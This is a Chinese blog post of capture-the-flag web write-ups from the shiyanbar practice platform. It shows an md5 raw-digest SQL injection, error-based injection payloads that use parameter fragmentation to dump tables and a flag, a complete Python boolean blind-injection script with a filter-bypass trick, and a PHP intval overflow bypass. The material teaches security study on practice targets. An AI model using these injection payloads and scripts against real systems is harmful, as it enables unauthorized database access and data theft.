实验吧Web记录

成长的痛苦,远比后悔的痛苦好

后台登录

1.查看源码,发现以下内容

1
2
3
4
5
6
7
8
9
10
11
12
<?php

$password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
}
?>

2.刚开始想着直接万能语句来着,后来发现不行。mysql中的运算优先级为:not>and>or 万能语句绕不过的,这题主要考md5生成摘要构成语句注入。

1
2
3
4
5
<?php
//php进行MD5加密时生成不同长度的方法,有true则为16位
echo "MD5加密ffifdyop生成的16字符消息摘要为-->"."".md5('ffifdyop', true)."","\n";
echo "MD5加密ffifdyop生成的32字符消息摘要为-->"."".md5('ffifdyop')."","\n";
?>

运行结果为:

3.由结果可知,语句变为SELECT * FROM admin WHERE pass=' 'or '6<*****>' 其中<*****>不必管,条件即为真,所以可绕过。相当于select * from users where username='admin' and password=''or'6fsfdsgfdsgsdg';恒为真,如图


加了料的报错注入

1.查看源码

1
2
// tips:post username and password...
$sql="select * from users where username='$username' and password='$password'";

2.试了不少,还是没头绪,看writeup,发现又是一种新方式。实验吧的题很强啊(哭)

3.有两种解法
方法一:HPF(http parameter fragment)
主要是用/**/构造语句注入,如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
看版本
username=' and extractvalue/*&password=1*/(1,concat('~',(select version())))or'1

查看数据库名 error_based_hpf
username=' and extractvalue/*&password=1*/(1,concat('~',(select database())))or'1

查表名 ffll44jj,users
username=' and extractvalue/*&password=1*/(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema regexp database())))or'1

# 查列名 id,username,password
# username=' and extractvalue/*&password=1*/(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name regexp 'users')))or'1
# 表名用16形式进制代替
# #username=' and extractvalue/*&password=1*/(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name regexp 0x7573657273)))or'1

是这个 value(表ffll44jj的字段)
username=' and extractvalue/*&password=1*/(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name regexp 0x66666c6c34346a6a)))or'1

查内容
username=' and extractvalue/*&password=1*/(1,concat('~',(select group_concat(value) from ffll44jj)))or'1
flag{err0r_b4sed_sqli_+_hpf}

方法二:exp()报错注入
因为没有过滤exp()函数,所以可以利用。关于exp()溢出报错注入


认真一点

1.此题有很多坑,总结的话,最应该注意的还是注意每一个细节(有三种反馈信息)之前没管它,模糊测试后,试到怀疑人生。

  • You are in ................ 正常输入且成功
  • You are not in ............... 输入后不成功(在后台删去某些字符串)
  • Sql injection detected! 检测到并且过滤掉的字符串

2.这个肯定是要盲注的,下面是代码。
这里有一个需要注意的,请关掉代码格式自动调整,因为会自动加上空格导致跑不出来。

3.这个题一个很坑的地方是有的字符串它直接去掉,然后显示的是You are not in ............... 所以构造时,需要双写绕过,比如or要写为oorr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import requests
import string

str1 = 'You are in'
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
allString = string.printable

# 数据库长度
# for i in range(1, 20):
# key = {'id':"0'oorr(length(database())=%s)oorr'0"%i}
# r = requests.post(url, data=key)
# print(i)
# if str1 in r.text:
# print('数据库名长度为:', i)
# break

# 数据库名称 ctf_sql_bool_blind
# 这里直接报内容,需要把长度设置合理一点,然后观察结果即可
# database_name = ""
# for i in range(1, 19):
# for ch in allString:
# key = {'id':"0'oorr(mid(database()from(%d)foorr(1))='%s')oorr'0" % (i,ch)}
# # 太慢了,在这里加一个输出,好然自己了解运行情况和payload的内容
# # print(key)
# r = requests.post(url, data = key)
# if str1 in r.text:
# print('第%d个字符为:'%i,ch)
# database_name += ch
# break
# print(database_name)


# # 表名 fiag,users
# tableName = ""
# for i in range(1,20):
# for ch in allString:
# key1 = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%d)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='%c')oorr'0"%(i, ch)
# key2 = key1.replace(' ', chr(0x0a))
# key = {'id':key2}
# # print(key)
# r = requests.post(url, data = key)
# if str1 in r.text:
# print('第%d个字符为:'%i,ch)
# tableName += ch
# break
# print(tableName)


# # 列名 fl$4g
# columnName = ""
# for i in range(1,20):
# for ch in allString:
# key1 = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%d)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='%c')oorr'0"%(i, ch)
# key2 = key1.replace(' ', chr(0x0a))
# key = {'id':key2}
# #print(key)
# r = requests.post(url, data = key)
# if str1 in r.text:
# print('第%d个字符为:'%i,ch)
# columnName += ch
# break
# print(columnName)

# 内容
# 这里空格打印不出来空格,会被转义为*
flag = ""
for i in range(1,20):
for ch in allString:
key1 = "0'oorr((select(mid((fl$4g)from(%d)foorr(1)))from(fiag))='%c')oorr'0"%(i, ch)
key2 = key1.replace(' ', chr(0x0a))
key = {'id':key2}
print(key)
r = requests.post(url, data = key)
if str1 in r.text:
print('第%d个字符为:'%i,ch)
flag += ch
break
print(flag)

你真的会php吗

1.看到题目,八成是代码审计的题,看来又得慢慢查了。产看源码无果后,再看看响应头,发现有个txt文件。

2.访问得到源码(下面的源码是自己添加注释后的,方便观看)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php

$info = "";
$req = [];
$flag="xxxxxxxxxx";

ini_set("display_error", false);
error_reporting(0);

if(!isset($_POST['number'])){ //不传参数则会在响应头中有hint
header("hint:6c525af454059b4fe7d8c33a.txt");
die("have a fun!!");
}

foreach([$_POST] as $global_var) {
foreach($global_var as $key => $value) {
$value = trim($value); //trim() 函数移除字符串两侧的空白字符或其他预定义字符
// 注意:trim()并不能去除已经编码的空字符(如%00,%20)所以下面可以通过加上此内容绕过数字检验
is_string($value) && $req[$key] = addslashes($value);
}
}

function is_palindrome_number($number) { //判断输入的数是否是一个回文数
$number = strval($number); //将数组及类之外的变量类型转换成字符串类型
$i = 0;
$j = strlen($number) - 1;
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}

if(is_numeric($_REQUEST['number'])){
//不能是数字
$info="sorry, you cann't input a number!";

}elseif($req['number']!=strval(intval($req['number']))){
//输入的值要与其取整后相等,才能绕过此处。
$info = "number must be equal to it's integer!! ";

}else{
$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"])); //strrev() 函数反转字符串

if($value1!=$value2){ //这里需要是回文数
$info="no, this is not a palindrome number!";
}else{
//这里又不可以是回文数
if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}else{
$info=$flag;
}
}

}

echo $info;

3.可以看到,此题有点变态,在这再进一步描述一下几个函数。
(1)intval()函数:用于获取变量的整数值。语法为:int intval ( mixed $var [, int $base = 10 ] )

  • intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval()不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

  • 成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。

  • 最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -21474836482147483647
  • 64 位系统上,最大带符号的 integer 值是 9223372036854775807。
  • 字符串有可能返回 0,虽然取决于字符串最左侧的字符。

(2)其他函数:其实大部分函数从字面上都可以看出其功能,主要是不清楚其是否存在可用的漏洞。这里主要利用了intval()函数存在的漏洞。

4.解题方法

方法一:利用intval溢出
32位机最大值2^31-1=2147483647,反转后为7463847412,但是已经溢出,所以会自动变成2147483647,根据源码分析可知,number=2147483647%20可行。
方法二:
第二个思想可以直接使用-0%20,就不多说了,根据源码走一遍,加深理解。

注:加上%20是因为输入不可为数值,而且intval()会自动忽略。

5.任意提交上面一个,即可得出flag。

###


0%